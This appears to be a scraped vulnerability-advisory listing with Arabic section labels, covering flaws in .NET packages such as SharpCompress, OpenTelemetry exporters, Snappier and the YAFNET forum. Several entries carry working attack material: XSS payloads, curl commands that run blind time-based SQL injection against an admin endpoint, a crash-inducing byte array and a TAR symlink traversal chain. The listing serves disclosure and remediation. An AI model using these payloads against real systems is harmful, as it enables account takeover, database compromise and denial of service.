الوصف الكامل

### Summary A path traversal vulnerability in `IArchive.WriteToDirectory()` allows a malicious archive to create directories outside the intended extraction root. For TAR archives, this can be escalated to arbitrary file writes by chaining with a symlink entry, giving a full write primitive on the target filesystem subject to the permissions of the running process. ### Details The vulnerable code is in the directory-entry branch of `WriteToDirectoryInternal` (sync, `IArchiveExtensions.cs:48–61`) and `WriteToDirectoryAsyncInternal` (async, `IAsyncArchiveExtensions.cs:70–84`): ```csharp var dirPath = Path.Combine(destinationDirectory, entry.Key); Directory.CreateDirectory(Path.GetDirectoryName(dirPath + "/")); ``` No `Path.GetFullPath()` normalisation and no bounds check are applied before the `Directory.CreateDirectory` call. Two .NET `Path.Combine` behaviours make this exploitable: - **Relative traversal**: `Path.Combine("/safe/extract", "../../evil")` → the OS resolves `..` segments on the raw path, placing the directory outside the extraction root. - **Absolute path override**: `Path.Combine("/safe/extract", "/tmp/evil")` → returns `"/tmp/evil"` — the base is discarded entirely for rooted paths. File entries are **not** directly affected — they route through `ExtractionMethods.WriteEntryToDirectory` which applies the correct guard (`GetFullPath` + `StartsWith`, see `ExtractionMethods.cs:54–65`). The directory-entry branch is a separate fast-path that was added without that guard. Affected archive formats: ZIP and TAR (non-solid). Solid archives and 7-Zip use the reader path which calls the secure method. #### Escalation to arbitrary file writes (TAR only) `Path.GetFullPath` on .NET does not resolve symlinks — it only normalises `.` and `..` segments. This means the file-entry guard in `ExtractionMethods.WriteEntryToDirectory` can be bypassed via symlink chaining in TAR archives when the caller supplies a `SymbolicLinkHandler`: ```csharp archive.WriteToDirectory("/safe/extract", new ExtractionOptions { ExtractFullPath = true, SymbolicLinkHandler = (linkPath, linkTarget) => File.CreateSymbolicLink(linkPath, linkTarget) // naive — no validation of linkTarget }); ``` Attack sequence in a single TAR archive: 1. **Symlink entry** — `link` → `../evil_outside/` The `SymbolicLinkHandler` creates `/safe/extract/link` pointing outside the extraction root. 2. **File entry** — `link/secret.txt` `ExtractionMethods.WriteEntryToDirectory` computes: - `destdir = Path.GetFullPath("/safe/extract/link")` → `"/safe/extract/link"` — textually inside root, check passes ✓ - `File.Open("/safe/extract/link/secret.txt")` — OS follows symlink, file is written to `/evil_outside/secret.txt` The library does not validate `linkTarget` before passing it to the caller's handler, and the XML docs do not warn that it may be a traversal path. The idiomatic handler implementation above is therefore silently exploitable. ZIP does not support symlinks in SharpCompress (`ZipEntry.LinkTarget` always returns `null`), so this escalation is TAR-only. | Attack | ZIP | TAR | |--------|-----|-----| | Directory traversal (escape extraction root) | Yes | Yes | | Escalate to arbitrary file writes via symlink chain | No | Yes (if caller provides `SymbolicLinkHandler`) | **Recommended fix** — apply the same pattern from `ExtractionMethods.WriteEntryToDirectory` to both affected files: ```csharp var fullDestDir = Path.GetFullPath(destinationDirectory); if (!fullDestDir.EndsWith(Path.DirectorySeparatorChar)) fullDestDir += Path.DirectorySeparatorChar; var dirPath = Path.GetFullPath(Path.Combine(fullDestDir, entry.Key)); if (!dirPath.StartsWith(fullDestDir, PathComparison)) throw new ExtractionException( "Entry is trying to create a directory outside of the destination directory."); Directory.CreateDirectory(dirPath); ``` Additionally, the library should validate `LinkTarget` before invoking the caller's `SymbolicLinkHandler`, or document clearly that callers must validate it themselves. ### PoC A self-contained .NET console app is available at: `https://github.com/svenclaesson/poc-sharpcompress-traversal` ``` git clone https://github.com/svenclaesson/poc-sharpcompress-traversal cd poc-sharpcompress-traversal dotnet run ``` The PoC crafts a ZIP with three directory entries (`../../escaped_relative/`, `/tmp/escaped_absolute/`, `safe_subdir/`) using `System.IO.Compression` (stdlib), then extracts with SharpCompress. Output shows `[ESCAPED]` for the two malicious entries and `[ok]` for the legitimate one, on both sync and async APIs. Tested against SharpCompress 0.47.4 (latest NuGet). ### Impact This is a path traversal / zip slip vulnerability (CWE-22). Any application that calls `archive.WriteToDirectory()` on an untrusted archive is affected — which covers the primary documented extraction API. For ZIP archives the impact is limited to arbitrary directory creation, which can be used to stage privilege escalation (e.g. cron drop-ins, XDG config paths, service spool directories) or shadow expected paths to alter application behaviour. For TAR archives, callers that implement a `SymbolicLinkHandler` — which is the only way to faithfully restore a TAR — are exposed to a full arbitrary file write primitive via the symlink chaining described above.

الإصدارات المتأثرة

All versions < 0.10.0, 0.10.1, 0.10.1.1, 0.10.1.3, 0.10.2

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L

المراجع

الوصف الكامل

### Summary The `OpenTelemetry.Exporter.Instana` NuGet package does not validate HTTPS/TLS certificates are valid when sending telemetry to a configured Instana back-end when a proxy is configured using the `INSTANA_ENDPOINT_PROXY` environment variable. If a network attacker can Man-in-the-Middle (MitM) the proxy connection, all OpenTelemetry telemetry data and the Instana API key are exposed to the attacker. ### Details The [`Transport.ConfigureBackendClient()`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/b53b6a74fde21a4cee344e584b51a0fe5bf1f337/src/OpenTelemetry.Exporter.Instana/Implementation/Transport.cs#L132-L158) method creates an `HttpClient` instance that completely disables TLS server certificate validation if the `INSTANA_ENDPOINT_PROXY` is configured with a valid proxy URL with no ability to re-enable it. ### Impact If the configured proxy is attacker-controlled (or a network attacker MitM the connection), or if it is possible for the process' configuration to be changed to add an attacker-provided value for `INSTANA_ENDPOINT_PROXY` then all Instana telemetry could be read by an unauthorized party and the service's Instana API key compromised, potentially before being forwarded to Instana presenting no noticeable loss of telemetry data without a valid TLS server certificate being presented to the client that matches the expected hostname or IP address. ### Mitigation The proxy configured by the `INSTANA_ENDPOINT_PROXY` environment variable must be malicious or be possible to be subject to a MitM attack. ### Workarounds Do not configure the `INSTANA_ENDPOINT_PROXY` environment variable. ### Remediation [#4153](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4153) refactors `HttpClient` creation so that TLS certificate validation is no longer disabled by default when using a proxy. In environments where this capability is required, for example for local development, the previous behaviour can be restored using the `` option: ```csharp builder.AddInstanaExporter((options) => { options.HttpClientFactory = () => { var handler = new HttpClientHandler() { #if NET ServerCertificateCustomValidationCallback = HttpClientHandler.DangerousAcceptAnyServerCertificateValidator, #else ServerCertificateCustomValidationCallback = static (_, _, _, _) => true, #endif }; return new HttpClient(handler, disposeHandler: true); }; }); ``` ### Resources - [PR #4153](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4153)

الإصدارات المتأثرة

1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

المراجع

الوصف الكامل

### Summary Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a `StackOverflowException`, which is not catchable by user code and terminates the process. ### Impact Applications are impacted if they deserialize MessagePack data from untrusted or attacker-controlled sources using Nerdbank.MessagePack and the target type contains a `DateTime` value. A small malicious payload can cause process termination, resulting in a denial of service. This may affect services, APIs, workers, message consumers, or other long-running processes that deserialize untrusted MessagePack input. The issue occurs because DateTime timestamp extension decoding derives `tokenSize` from the attacker-controlled extension length before validating that the timestamp length is one of the legal MessagePack timestamp sizes: 4, 8, or 12 bytes. When the buffer is incomplete, that unvalidated size is propagated to the streaming reader slow path, where it is used in a `stackalloc`. ### Patches The 1.1.62 version contains the fix for this security vulnerability. ### Workarounds If upgrading is not yet possible, avoid deserializing untrusted MessagePack payloads into type graphs that may contain `DateTime` fields or properties. Input byte-size limits alone may not fully mitigate this issue, because the malicious payload can be small while declaring a very large extension length. Possible mitigations include: - Pre-validating MessagePack extension headers before deserialization and rejecting timestamp extensions whose length is not 4, 8, or 12 bytes. - Rejecting or filtering extension type `-1` timestamp values from untrusted input unless they are known to be valid. - Running deserialization of untrusted payloads in an isolated process that can be safely restarted after termination. - Restricting MessagePack deserialization to trusted producers until a patched version is available. ### Resources - CWE-789: Uncontrolled Memory Allocation: https://cwe.mitre.org/data/definitions/789.html - MessagePack timestamp extension specification: https://github.com/msgpack/msgpack/blob/master/spec.md#timestamp-extension-type

الإصدارات المتأثرة

All versions < alpha

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

### Summary `Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. ### Details The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further. ### PoC ```csharp using System.IO.Compression; using Snappier; byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 }; using var src = new MemoryStream(data); using var snap = new SnappyStream(src, CompressionMode.Decompress); using var dst = new MemoryStream(); snap.CopyTo(dst); // never returns ``` ### Impact A caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can't recover (no exception is thrown).

الإصدارات المتأثرة

1.0.0, 1.0.0-beta001, 1.0.0-beta002, 1.1.0, 1.1.1

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

### Summary When receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response. ### Details [#2926](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/2926) introduced the initial HTTP transport components which uses `ReadAsByteArrayAsync` to copy the `HttpResponseMessage.Content` into a byte array. This code path allows an unbounded read of the entire HTTP response message. ### Impact If an application using the OpAMP client is configured to use an OpAMP server that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response, the application could have its memory exhausted and create a denial-of-service condition. ### Mitigation The application's configured OpAMP server needs to behave maliciously. If the OpAMP server is a well-behaved implementation, response bodies should not be excessively large. ### Workarounds None known. ### Remediation [#4116](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4116) updates the OpAMP client HTTP transport to limit the maximum size of responses to 128KB. ### Resources - [#2926](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/2926) - [#4116](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4116) - [CWE-789](https://cwe.mitre.org/data/definitions/789.html)

الإصدارات المتأثرة

All versions < alpha.1

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

**Description:** Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content. **Issue Details:** The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing `"><img src=x onerror=prompt(0)>` causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled `<img>` element whose `onerror` handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required. **Impact:** An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly. **Likelihood:** Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high. **Steps to Reproduce:** - Log in to the forum as any low-privileged user (Attacker). - Navigate to any thread where posting or replying is allowed, or create a new thread. - In the post/reply body, submit the payload: `"><img src=x onerror=prompt(0)>` - Publish the post or reply. - Log in as a different user (e.g., Admin) or visit the thread in a separate browser session. - Open the thread page, the injected `<img>` fails to load and the `onerror` handler fires, producing a `prompt(0)` dialog and confirming arbitrary JavaScript execution in the viewer's session context. <img width="1127" height="745" alt="image" src="https://github.com/user-attachments/assets/b93442ea-1d8e-4079-ab4f-e52d41d110f3" />

الإصدارات المتأثرة

4.0.0, 4.0.0-beta03, 4.0.0-beta04, 4.0.0-beta05, 4.0.0-beta06

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

المراجع

الوصف الكامل

**Issue Details:** YAFNET's only admin authorization gate is `PageSecurityCheckAttribute`, implemented as a `ResultFilterAttribute` that runs *after* the page handler completes rather than before it. No other gate exists. Any admin `OnPost…` handler therefore executes its side effects before the filter rewrites the response to a `302` to `/Info/4`. The most impactful abuse is `/Admin/RunSql`, whose `OnPostRunQuery` binds `Editor` from the POST body and passes it straight to `IDbAccess.RunSql` with no caller check, yielding arbitrary SQL execution for any low-privileged user. A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of `@@VERSION`: `IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'` produced a ~5-second delay (confirming the byte is `M`), while `IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5'` returned immediately. **Impact:** An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full `INSERT`/`UPDATE`/`DELETE` access to every table including the Identity store (`AspNetUsers`, `yaf_User`, `yaf_UserRole`). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (`DELETE`/`DROP`/`WAITFOR`-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has `xp_cmdshell` or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages. **Likelihood:** Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high. **Steps to Reproduce:** - Register or log in to the forum as any low-privileged user. - Acquire the standard `__RequestVerificationToken` token from any rendered page and the cookies. - Use the following CURL command: Payload: ```IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'``` (77 is the character **M**) URL Encoded Payload: ```%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27``` ``` curl.exe --path-as-is -i -s -k -X POST ` -H 'Host: yetanotherforum.internal:8080' ` -H 'User-Agent: curl/8.18.0' ` -H 'Accept: */*' ` -H 'Content-Type: application/x-www-form-urlencoded' ` -H 'Content-Length: 428' ` -H 'Connection: keep-alive' ` -b '<Replace with Cookies>' ` --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' ` -w '\n----\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code: %{http_code}\n' ` 'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery' ``` <img width="1619" height="921" alt="image" src="https://github.com/user-attachments/assets/1c5d4d96-a69a-47eb-9558-e5fe1e6cc9e4" /> Payload: ```IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5'``` (76 is the character **L**) URL Encoded Payload: ```%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27``` ``` curl.exe --path-as-is -i -s -k -X POST ` -H 'Host: yetanotherforum.internal:8080' ` -H 'User-Agent: curl/8.18.0' ` -H 'Accept: */*' ` -H 'Content-Type: application/x-www-form-urlencoded' ` -H 'Content-Length: 428' ` -H 'Connection: keep-alive' ` -b '<Replace with Cookies>' ` --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' ` -w '\n----\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code: %{http_code}\n' ` 'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery' ``` <img width="1616" height="928" alt="image" src="https://github.com/user-attachments/assets/e499da2e-d4d1-41cd-a5da-e709bf60f817" /> Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection. **Remediation:** - Convert `PageSecurityCheckAttribute` from a `ResultFilterAttribute` to an `IAsyncPageFilter` so the admin check runs in `OnPageHandlerExecutionAsync` and short-circuits with `AccessDenied()` before any handler side effects occur. - Layer an ASP.NET Core authorization policy as defense-in-depth: `AddAuthorization(... AddPolicy("YafAdmin", ...))` combined with `AuthorizeFolder("/Admin", "YafAdmin")` in the Razor Pages conventions. - Restrict `/Admin/RunSql` to `HostAdmin` only and wrap `IDbAccess.RunSql` in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins. - Audit and fix any other authorization logic implemented in `ResultFilterAttribute` / `OnResultExecuting(Async)`, they share the same lifecycle bug. - Add regression tests that invoke each admin `OnPost…` handler as a non-admin and assert no database or filesystem side effects occur.

الإصدارات المتأثرة

4.0.0, 4.0.0-beta03, 4.0.0-beta04, 4.0.0-beta05, 4.0.0-beta06

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

المراجع

الوصف الكامل

**Description:** Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites. **Issue Details:** The application's database logger (`YAFNET.Core/Logger/DbLogger.cs`) captures the incoming request's `User-Agent` header into a `JObject`, serializes it with `JsonConvert`, and stores the result in the `EventLog.Description` column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (`YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs`) later deserializes that JSON in `FormatStackTrace()` and interpolates the `UserAgent` value directly into an HTML string with no encoding, and the Razor view `EventLog.cshtml` emits the result through `@Html.Raw`. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint `GET /api/Attachments/GetAttachment?attachmentId=2147483647` reliably triggers a server-side exception that is written to `dbo.EventLog` together with the attacker-controlled `User-Agent`. A single anonymous request such as `curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647"` is sufficient to persist the payload, and when an administrator later visits `/Admin/EventLog` the malicious markup is rendered as live HTML in the admin's authenticated session. **Impact:** An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners. **Likelihood:** Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high. **Steps to Reproduce:** - From an unauthenticated session (no cookies, no tokens), send the following request with a malicious `User-Agent` header: - `curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"` - Confirm the server returns an error response and that a row has been written to `dbo.EventLog` containing the attacker-controlled `UserAgent` value inside the JSON `Description`. - As an administrator (e.g., `Superuser`), navigate to `/Admin/EventLog`. - Observe that the rendered page contains the raw `<img src=x onerror="alert('XSS')">` element inside the event's badge block, and that the `onerror` handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source. <img width="1193" height="809" alt="image" src="https://github.com/user-attachments/assets/70c59ef2-8d31-435b-9a9d-338f753e58f8" />

الإصدارات المتأثرة

4.0.0, 4.0.0-beta03, 4.0.0-beta04, 4.0.0-beta05, 4.0.0-beta06

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

المراجع

الوصف الكامل

### Summary The OTLP disk retry feature in `OpenTelemetry.Exporter.OpenTelemetryProtocol` silently fell back to `Path.GetTempPath()` when `OTEL_DOTNET_EXPERIMENTAL_OTLP_RETRY=disk` was set but `OTEL_DOTNET_EXPERIMENTAL_OTLP_DISK_RETRY_DIRECTORY_PATH` was not configured. The exporter stored and loaded `*.blob` files under fixed, signal-named subdirectories (`traces`, `metrics`, `logs`) beneath that shared temporary root path. On multi-user systems where the temporary directory is accessible to other local accounts, this exposed three attack surfaces: - **Blob injection (integrity):** an attacker could write crafted `*.blob` files into the predictable path; the exporter picks them up on the next retry cycle and forwards them to the configured OTLP endpoint under the application's identity. - **Telemetry disclosure (confidentiality):** an attacker reads `*.blob` files written by the application between export failures, recovering encoded telemetry payloads (spans, metric data points, log records). - **Resource exhaustion (availability):** an attacker deposits numerous or oversized blob files, degrading retry-loop performance or consuming disk space. ### Details #### Preconditions 1. `OTEL_DOTNET_EXPERIMENTAL_OTLP_RETRY` is set to `disk`. 2. `OTEL_DOTNET_EXPERIMENTAL_OTLP_DISK_RETRY_DIRECTORY_PATH` is not set, causing the exporter to resolve the blob storage root using the `System.IO.Path.GetTempPath()` API. 3. A local attacker has read or write access to the process' temporary directory (e.g., `/tmp` on Linux, or `%TEMP%` on a multi-user Windows installation). #### Exploit path 1. A target application starts with `OTEL_DOTNET_EXPERIMENTAL_OTLP_RETRY=disk` and no explicit blob directory. The exporter resolves the storage root to `Path.GetTempPath()`, producing paths such as `%TEMP%\traces`, `%TEMP%\metrics`, and `%TEMP%\logs` (or `/tmp/traces` etc. on Linux). 2. **Injection scenario:** before or during the application's retry window, an attacker writes crafted `*.blob` files into one of those signal subdirectories. On the next retry interval (by default every 60 seconds), [`OtlpExporterPersistentStorageTransmissionHandler`](https://github.com/open-telemetry/opentelemetry-dotnet/blob/c724f4bd6fd88e9a599af1668bf7af9487155b62/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/Transmission/OtlpExporterPersistentStorageTransmissionHandler.cs) scans the directory, loads the attacker-supplied blobs, and forwards them to the configured OTLP endpoint using the application's identity and transport credentials. 3. **Disclosure scenario:** the attacker reads `*.blob` files that the application wrote after a transient export failure, recovering the full serialized telemetry payloads (spans, metric data points, or log records in Protobuf encoding). 5. **DoS scenario:** the attacker deposits a large number of oversized blob files in the temporary subdirectories, causing the retry loop to consume excess CPU/IO processing them, potentially exhausting available disk space. ### Mitigations If an immediate upgrade to a patched version is not possible: 1. Avoid enabling disk retry in shared environments. 2. Configure a dedicated directory with strict ACL/ownership and least privilege. 3. Ensure the directory is not shared across tenants/users. 4. Monitor for unexpected `*.blob` files or abnormal retry backlog growth. ### Resources - [#7106](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7106)

الإصدارات المتأثرة

>= 1.8.0, <= 1.15.2

نوع الثغرة

CWE-379 — CWE-379

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

المراجع

الوصف الكامل

### Summary When exporting telemetry to a back-end/collector over HTTP using the OpenTelemetry.Exporter.OneCollector exporter, if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed. This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response. ### Details The [`HttpJsonPostTransport`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Exporter.OneCollector/Internal/Transports/HttpJsonPostTransport.cs) class reads the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter. An attacker who controls the configured endpoint, or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process. ### Impact If an application using the OneCollector exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition. ### Mitigation The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs. ### Workarounds Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the configured back-end/collector endpoint. ### Remediation [#4117](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4117) updates the OneCollector exporter to limit the number of bytes read from the response body in an error condition to 4MiB. ### Resources - [#4117](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4117)

الإصدارات المتأثرة

<= 1.15.0

نوع الثغرة

CWE-770 — Resource Exhaustion

CVSS Vector

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

### Summary `OpenTelemetry.Resources.Azure` reads unbounded HTTP response bodies from the Azure VM remote instance metadata service endpoint into memory. This would allow an attacker-controlled endpoint or one acting as a Man-in-the-Middle (MitM) to cause excessive memory allocation and possible process termination (via Out of Memory (OOM)). ### Details The [`AzureVmMetaDataRequestor`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Resources.Azure/AzureVmMetaDataRequestor.cs) class makes HTTP requests to the relevant Azure VM instance metadata service (`http://169.254.169.254`) to obtain metadata about the running process and its infrastructure. An attacker who controls the configured endpoint, or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an `OutOfMemoryException` that terminates the process. ### Impact Denial of Service (DoS). An attacker can destabilize or crash the application by forcing unbounded memory allocation through the Azure VM instance metadata HTTP response paths. ### Mitigating Factors The application's reachable Azure VM metadata endpoint needs to behave maliciously or be subject to MitM. In normal usage response bodies should not be excessively large. ### Patches Fixed in `OpenTelemetry.Resources.Azure` version `1.15.0-beta.2`. The fix (#4121) introduce changes that introduce limits to `HttpClient` requests so that the response body is streamed rather than buffered entirely in memory. Responses greater than 4 MiB are ignored. ### Workarounds - Disable the Azure VM resource detector. - Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the Azure VM instance metadata endpoint. ### References - [#4121](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4121)

الإصدارات المتأثرة

<= 1.15.0-beta.1

نوع الثغرة

CWE-770 — Resource Exhaustion

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

المراجع

الوصف الكامل

### Summary The Zipkin exporter remote endpoint cache accepted unbounded key growth derived from span attributes. In high-cardinality scenarios, this could increase process memory usage over time and degrade availability. ### Details - Introduce a bounded, thread-safe LRU cache for remote endpoints. - Enforce fixed maximum size to prevent unbounded growth. ### Impact - A process using Zipkin export for client/producer spans could experience avoidable memory growth under sustained unique remote endpoint values. ### Resources [#7081](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7081)

الإصدارات المتأثرة

<= 1.15.2

نوع الثغرة

CWE-400 — DoS

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

المراجع

الوصف الكامل

ParquetSharp is a .NET library for reading and writing Apache Parquet files. From version 18.1.0 to before version 23.0.0.1, DecimalConverter.ReadDecimal makes a stackalloc using what might be an attacker-supplied value. If an attacker declares a decimal column with some unreasonable width, this could lead to a stack overflow. In a service environment, this would potentially take down a service. This affects applications using ParquetSharp to read untrusted Parquet files in a network service. This issue has been patched in version 23.0.0.1.

الإصدارات المتأثرة

18.1.0, 19.0.1, 19.0.1-beta1, 20.0.0, 20.0.0-beta1

نوع الثغرة

CWE-789 — CWE-789

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

المراجع

الوصف الكامل

